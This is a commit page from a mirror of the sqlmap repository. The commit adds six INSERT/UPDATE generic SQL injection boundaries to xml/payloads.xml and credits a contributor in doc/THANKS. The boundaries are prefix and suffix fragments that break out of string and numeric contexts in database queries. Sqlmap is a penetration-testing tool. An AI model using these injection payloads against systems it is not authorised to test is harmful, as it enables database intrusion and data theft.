sqlmapproject/sqlmap
1
0
Fork 0
mirror of https://github.com/sqlmapproject/sqlmap.git synced 2026-10-12 02:22:55 +00:00
Code Issues Packages Projects Releases Wiki Activity

adding INSERT/UPDATE generic boundaries

Browse Source
This commit is contained in:
Miroslav Stampar
2011-10-28 11:00:09 +00:00
parent 7ce3af68fc
commit 2e5222bfd8
2 changed files with 60 additions and 1 deletions
Download Patch File Download Diff File Expand all files Collapse all files
doc/THANKS
+3
View File
@@ -368,6 +368,9 @@ Christopher Patten <[email protected]>
Zack Payton <[email protected]>
for reporting a minor bug
Jaime Penalba <[email protected]>
for contributing a patch for INSERT/UPDATE generic boundaries
Travis Phillips <[email protected]>
for suggesting a minor enhancement
xml/payloads.xml
+57 -1
View File
@@ -485,7 +485,63 @@ Formats:
<prefix>" WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix></suffix>
</boundary>
<!-- End of generic boundaries -->
<!-- End of pre-WHERE generic boundaries -->
<!-- INSERT/UPDATE generic boundaries (e.g. "INSERT INTO table VALUES ('$_REQUEST["name"]',...)"-->
<boundary>
<level>5</level>
<clause>1</clause>
<where>1</where>
<ptype>2</ptype>
<prefix>' || (SELECT [RANDNUM1] FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>) || '</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>1</clause>
<where>1</where>
<ptype>2</ptype>
<prefix>' || (SELECT [RANDNUM1] WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>) || '</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>1</clause>
<where>1</where>
<ptype>1</ptype>
<prefix> + (SELECT [RANDNUM1] FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>)</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>1</clause>
<where>1</where>
<ptype>1</ptype>
<prefix> + (SELECT [RANDNUM1] WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>)</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>1</clause>
<where>1</where>
<ptype>2</ptype>
<prefix>' + (SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>) + '</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>1</clause>
<where>1</where>
<ptype>2</ptype>
<prefix>' + (SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>) + '</suffix>
</boundary>
<!-- End of INSERT/UPDATE generic boundaries -->
<!-- Boolean-based blind tests - WHERE/HAVING clause -->